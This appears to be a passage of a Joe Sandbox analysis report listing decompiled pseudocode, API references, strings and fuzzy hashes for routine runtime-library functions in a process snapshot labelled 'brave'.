Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcpy
String ID: basic_string::_M_create
API String ID: 3510742995-3122258987
Opcode ID: 52dd81f1854489c19ed0bec846985ecada794f828c33243cca3a44cf1c7bc96e
Instruction ID: ed1809fbcea470b22afafcb1c8d0ab60a3646be279cd60c58c6cf1a98b258a00
Opcode Fuzzy Hash: 52dd81f1854489c19ed0bec846985ecada794f828c33243cca3a44cf1c7bc96e
Instruction Fuzzy Hash: B531B373B299C289D611BE2D980857DAB64AB11FC4FDE4032EE0C473BADE2CD941C761

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF07770 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF77FF77BF07770(long long* __rcx, void* __rdx, void* __r8) {
				intOrPtr _t13;
				void* _t17;

				_t13 =  *((intOrPtr*)(__rcx));
				_t17 = __r8;
				if (__r8 - 0xfffffff9 > 0) goto 0x7bf07885;
				if (_t13 - __rdx > 0) goto 0x7bf077c0;
				if (_t13 +  *((intOrPtr*)(_t13 - 0x18)) - __rdx < 0) goto 0x7bf077c0;
				if ( *((intOrPtr*)(_t13 - 8)) <= 0) goto 0x7bf077f8;
				E00007FF77FF77BF08580(__rcx, 0,  *((intOrPtr*)( *((intOrPtr*)(__rcx)) - 0x18)), __r8);
				if (_t17 == 0) goto 0x7bf077e7;
				if (_t17 == 1) goto 0x7bf07840;
				return memcpy(??, ??, ??);
			}

0x7ff77bf07779
0x7ff77bf0777f
0x7ff77bf07796
0x7ff77bf0779f
0x7ff77bf077a8
0x7ff77bf077af
0x7ff77bf077c8
0x7ff77bf077d0
0x7ff77bf077da
0x7ff77bf077f3

APIs

memcpy.MSVCRT ref: 00007FF77BF077E2
memcpy.MSVCRT ref: 00007FF77BF0781C

Strings

basic_string::assign, xrefs: 00007FF77BF07885

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcpy
String ID: basic_string::assign
API String ID: 3510742995-2385367300
Opcode ID: fb17081675a219e1f0fc3f775fff8980a65a6587ebdc272469192e30fdad70a3
Instruction ID: eb5ebf3c6125a1d41ef8eb5670eb89ebb91929aff8dfe0fb82d962fdf17b3b7f
Opcode Fuzzy Hash: fb17081675a219e1f0fc3f775fff8980a65a6587ebdc272469192e30fdad70a3
Instruction Fuzzy Hash: 0D31CE77B396C580EE12AB1A84081B9A790EB4AFD4FD845B6DE1D4B3B5DE2CE440C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF017C0 Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 00007FF77BF0181A
MultiByteToWideChar.KERNEL32 ref: 00007FF77BF0185A

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: 50a1678145b16bab232309967df9fd668cd50a23a04a899717ea535bdf31dc07
Instruction ID: 31596aa1303f209a2fabb0c9f1a0a4f22005f88845ca8767c7c206b8f1b9d813
Opcode Fuzzy Hash: 50a1678145b16bab232309967df9fd668cd50a23a04a899717ea535bdf31dc07
Instruction Fuzzy Hash: 2D31A773A2C6C186E3605B28B40036DB6D0BB95B94F984135FA98877F8EF3DD6848B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF3E60 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF77BEF3E7D
GetProcessAffinityMask.KERNEL32 ref: 00007FF77BEF3E8C
GetCurrentProcess.KERNEL32 ref: 00007FF77BEF3ED2
SetProcessAffinityMask.KERNEL32 ref: 00007FF77BEF3EDA

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 04ae4b65f7585559c3679ad51c5bc39c8c573643832490c12df30e719fc6ef8c
Instruction ID: f26d30ab7acc5b6c7590eb97fd8e301a92e36f183b47fe76fc31bc900c169d23
Opcode Fuzzy Hash: 04ae4b65f7585559c3679ad51c5bc39c8c573643832490c12df30e719fc6ef8c
Instruction Fuzzy Hash: DE01D473B3870645EAA16729791036B9692BF0878CFC42036CE4D433A4EEBCF945C210

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEEE830 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 183
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BEEE830(void* __eax) {
				intOrPtr _t5;

				_t5 =  *0x7c1a10f0; // 0x1
				if (_t5 == 0) goto 0x7beee860;
				return __eax;
			}

0x7ff77beee845
0x7ff77beee84d
0x7ff77beee85f

APIs

VirtualProtect.KERNEL32(00007FF77C1A1098,00007FF898063CA0,?,?,?,00000001,00007FF77BEE1261), ref: 00007FF77BEEE9D5

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FF77BEEEA95
Unknown pseudo relocation protocol version %d., xrefs: 00007FF77BEEEAA1

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 5fb716cdb40ff7fdc5252b81bfc427b99c136fbcf60d099ab7d8640e641fe08e
Instruction ID: 5e48879aa0922427649e8135925f579cb698453cc59be4f2f39a0dcd24d6bdcf
Opcode Fuzzy Hash: 5fb716cdb40ff7fdc5252b81bfc427b99c136fbcf60d099ab7d8640e641fe08e
Instruction Fuzzy Hash: 8C61E273F3864282FB90AF59E840179F7A1BB59794F988635DA5D073ACDE7CE441C220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF1110 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00007FF77FF77BEF1110(void* __rcx) {
				void* _t29;
				intOrPtr _t39;
				intOrPtr _t52;
				intOrPtr _t53;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t64;
				void* _t68;
				void* _t76;
				intOrPtr* _t80;
				intOrPtr* _t81;
				intOrPtr* _t82;
				void* _t89;

				if (__rcx == 0) goto 0x7bef1310;
				_t80 =  *0x7c196920; // 0x7ff77c1a1400
				_t52 =  *_t80;
				if (_t52 == 0) goto 0x7bef11f8;
				if ( *((long long*)(_t52 + 0x90)) != 0) goto 0x7bef1220;
				 *((long long*)(_t52 + 0x90)) = 0x7c192bc0;
				E00007FF77FF77BEF8830(0x7c192bc0, _t76);
				_t53 =  *_t80;
				if (_t53 == 0) goto 0x7bef1238;
				if ( *((long long*)(_t53 + 0x88)) == 0) goto 0x7bef1260;
				_t55 =  *((intOrPtr*)( *((intOrPtr*)(_t53 + 0x88))));
				if (__rcx == _t55) goto 0x7bef1348;
				if (_t55 == 0) goto 0x7bef1348;
				_t56 =  *((intOrPtr*)(_t55 + 0x18));
				if (_t56 == 0) goto 0x7bef1320;
				if (__rcx != _t56) goto 0x7bef1190;
				_t39 = _t56;
				if (_t39 == 0) goto 0x7bef1320;
				 *((intOrPtr*)(__rcx + 0x10)) =  *((intOrPtr*)(__rcx + 0x10)) - 1;
				if (_t39 == 0) goto 0x7bef12b8;
				_t57 =  *_t80;
				if (_t57 == 0) goto 0x7bef1280;
				if ( *((long long*)(_t57 + 0x90)) == 0) goto 0x7bef1299;
				if (_t57 == 0) goto 0x7bef134f;
				_pop(_t81);
				goto E00007FF77FF77BEF8870;
				E00007FF77FF77BEF7060();
				if ( *((long long*)(_t57 + 0x90)) == 0) goto 0x7bef1145;
				if ( *_t81 != 0) goto 0x7bef1220;
				E00007FF77FF77BEF7060();
				E00007FF77FF77BEF8830( *((intOrPtr*)( *_t81 + 0x90)), _t76);
				_t59 =  *_t81;
				if (_t59 != 0) goto 0x7bef1164;
				E00007FF77FF77BEF7060();
				_t60 =  *_t81;
				if ( *((long long*)(_t59 + 0x88)) == 0) goto 0x7bef1260;
				if (_t60 != 0) goto 0x7bef1172;
				E00007FF77FF77BEF7060();
				goto 0x7bef1172;
				 *((long long*)(_t60 + 0x88)) = 0x7c1a1388;
				goto 0x7bef1179;
				asm("o16 nop [cs:eax+eax]");
				E00007FF77FF77BEF7060();
				if ( *0x7FF77C1A1418 != 0) goto 0x7bef11d4;
				 *((long long*)( *_t81 + 0x90)) = 0x7c192bc0;
				_pop(_t68);
				_pop(_t82);
				_pop(_t89);
				goto E00007FF77FF77BEF8870;
				_t16 = _t89 + 8; // 0x8
				_t29 = E00007FF77FF77BEF09D0(_t16);
				if (_t68 == 0) goto 0x7bef12dd;
				 *((long long*)(_t68 + 0x18)) =  *((intOrPtr*)(_t89 + 0x18));
				free(??);
				goto 0x7bef11ba;
				_t64 =  *_t82;
				if (_t64 == 0) goto 0x7bef1359;
				if ( *((long long*)(_t64 + 0x88)) != 0) goto 0x7bef1378;
				 *((long long*)(_t64 + 0x88)) = 0x7c1a1388;
				 *0x7c1a1388 =  *((intOrPtr*)(_t89 + 0x18));
				goto 0x7bef12d0;
				return _t29;
			}

0x7ff77bef111e
0x7ff77bef1124
0x7ff77bef112b
0x7ff77bef1131
0x7ff77bef113f
0x7ff77bef114c
0x7ff77bef1153
0x7ff77bef1158
0x7ff77bef115e
0x7ff77bef116c
0x7ff77bef1179
0x7ff77bef117f
0x7ff77bef1188
0x7ff77bef1193
0x7ff77bef119a
0x7ff77bef11a3
0x7ff77bef11a5
0x7ff77bef11a8
0x7ff77bef11ae
0x7ff77bef11b4
0x7ff77bef11ba
0x7ff77bef11c0
0x7ff77bef11ce
0x7ff77bef11d7
0x7ff77bef11e9
0x7ff77bef11ec
0x7ff77bef11f8
0x7ff77bef1208
0x7ff77bef1211
0x7ff77bef1213
0x7ff77bef1227
0x7ff77bef122c
0x7ff77bef1232
0x7ff77bef1238
0x7ff77bef1245
0x7ff77bef1248
0x7ff77bef124d
0x7ff77bef1253
0x7ff77bef1258
0x7ff77bef1267
0x7ff77bef1271
0x7ff77bef1276
0x7ff77bef1280
0x7ff77bef1293
0x7ff77bef12a0
0x7ff77bef12ab
0x7ff77bef12ac
0x7ff77bef12ad
0x7ff77bef12af
0x7ff77bef12b8
0x7ff77bef12bd
0x7ff77bef12c5
0x7ff77bef12cc
0x7ff77bef12d3
0x7ff77bef12d8
0x7ff77bef12dd
0x7ff77bef12e3
0x7ff77bef12ed
0x7ff77bef12fa
0x7ff77bef1309
0x7ff77bef130c
0x7ff77bef1318

Strings

%p not found?!?!, xrefs: 00007FF77BEF132E

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID:
String ID: %p not found?!?!
API String ID: 0-11085004
Opcode ID: c84520f36f3ca7fb9c18e6c0d81bf9ad638b054d908724b1f8b1681b916a0679
Instruction ID: 664e8b28f5d92af1306a36ebd3274d5dc89c9ce0602f60ae917193869984248d
Opcode Fuzzy Hash: c84520f36f3ca7fb9c18e6c0d81bf9ad638b054d908724b1f8b1681b916a0679
Instruction Fuzzy Hash: 1B512033A3A74A88FEE5BB59945537C9690AF44B80FC98075CA4D423A9DEBCB444D322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEEE530 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00007FF77FF77BEEE530() {
				long long* _t7;

				asm("movaps [esp+0x40], xmm6");
				asm("movaps [esp+0x50], xmm7");
				asm("inc esp");
				if ( *_t7 - 6 > 0) goto 0x7beee61c;
				goto __rax;
			}

0x7ff77beee536
0x7ff77beee53b
0x7ff77beee540
0x7ff77beee549
0x7ff77beee55f

APIs

fprintf.MSVCRT ref: 00007FF77BEEE5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF77BEEE597
Unknown error, xrefs: 00007FF77BEEE61C

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: aa6086361013ec1200885a2daadc703ccdb69238cbbd2ebd5042acb3d7d1f28a
Instruction ID: 11a47ab16aab3a423763fafe9c8ddf76d362bb202e765c7388f86dac25ab1733
Opcode Fuzzy Hash: aa6086361013ec1200885a2daadc703ccdb69238cbbd2ebd5042acb3d7d1f28a
Instruction Fuzzy Hash: 9101C263928EC882D7029F1CE8011FAB375FF5A79AF545321EA8C26274EF29D643C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEEE610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BEEE610() {
				void* _t9;

				goto 0x7beee56f;
				goto 0x7beee56f;
				return _t9;
			}

0x7ff77beee617
0x7ff77beee623
0x7ff77beee632

APIs

fprintf.MSVCRT ref: 00007FF77BEEE5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF77BEEE597
Total loss of significance (TLOSS), xrefs: 00007FF77BEEE610

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 21faa2479aa95e37f926b68196dda3b8b6095bded163c75ada7529037666dbb7
Instruction ID: 4b18f0a604ced9c24eb47ebdf213096b78aa358f1035a6495561a49d0b30ee70
Opcode Fuzzy Hash: 21faa2479aa95e37f926b68196dda3b8b6095bded163c75ada7529037666dbb7
Instruction Fuzzy Hash: 2CF04F63928E8882D302DF1CA4000BBB375FF4EB89F585325EE8D26574DF28D6428710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEEE600 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BEEE600() {
				void* _t9;

				goto 0x7beee56f;
				goto 0x7beee56f;
				return _t9;
			}

0x7ff77beee617
0x7ff77beee623
0x7ff77beee632

APIs

fprintf.MSVCRT ref: 00007FF77BEEE5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF77BEEE597
The result is too small to be represented (UNDERFLOW), xrefs: 00007FF77BEEE600

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: 92d8b121442a0a2cdbb79da8a415f01f4b29b20e9f59e438ac5b68aa7eb4b99e
Instruction ID: 2a5aa71c7997b3be4280f81e6ba9d3a46e2219f46f58a1237e905409ede7043d
Opcode Fuzzy Hash: 92d8b121442a0a2cdbb79da8a415f01f4b29b20e9f59e438ac5b68aa7eb4b99e
Instruction Fuzzy Hash: 62F04F63928E8882D302DF1CA4000BBB375FF4EB89F585325EE8D2A174DF28D6428710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEEE5F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BEEE5F0() {
				void* _t9;

				goto 0x7beee56f;
				goto 0x7beee56f;
				return _t9;
			}

0x7ff77beee617
0x7ff77beee623
0x7ff77beee632

APIs

fprintf.MSVCRT ref: 00007FF77BEEE5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF77BEEE597
Overflow range error (OVERFLOW), xrefs: 00007FF77BEEE5F0

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 3e9574b252411c4c4ea22a5fc3152e866e1922d8c7747fb6b8066ac752191a04
Instruction ID: 6c91a389abba1a0f30500348482049179951f50f96c532a45ad463d4b9c7865c
Opcode Fuzzy Hash: 3e9574b252411c4c4ea22a5fc3152e866e1922d8c7747fb6b8066ac752191a04
Instruction Fuzzy Hash: 23F04463928E8482D3019F1CA4000BBB375FF4D789F545325EE8D26574DF18D5428710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEEE5E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BEEE5E0() {
				void* _t9;

				goto 0x7beee56f;
				goto 0x7beee56f;
				return _t9;
			}

0x7ff77beee617
0x7ff77beee623
0x7ff77beee632

APIs

fprintf.MSVCRT ref: 00007FF77BEEE5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF77BEEE597
Partial loss of significance (PLOSS), xrefs: 00007FF77BEEE5E0

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

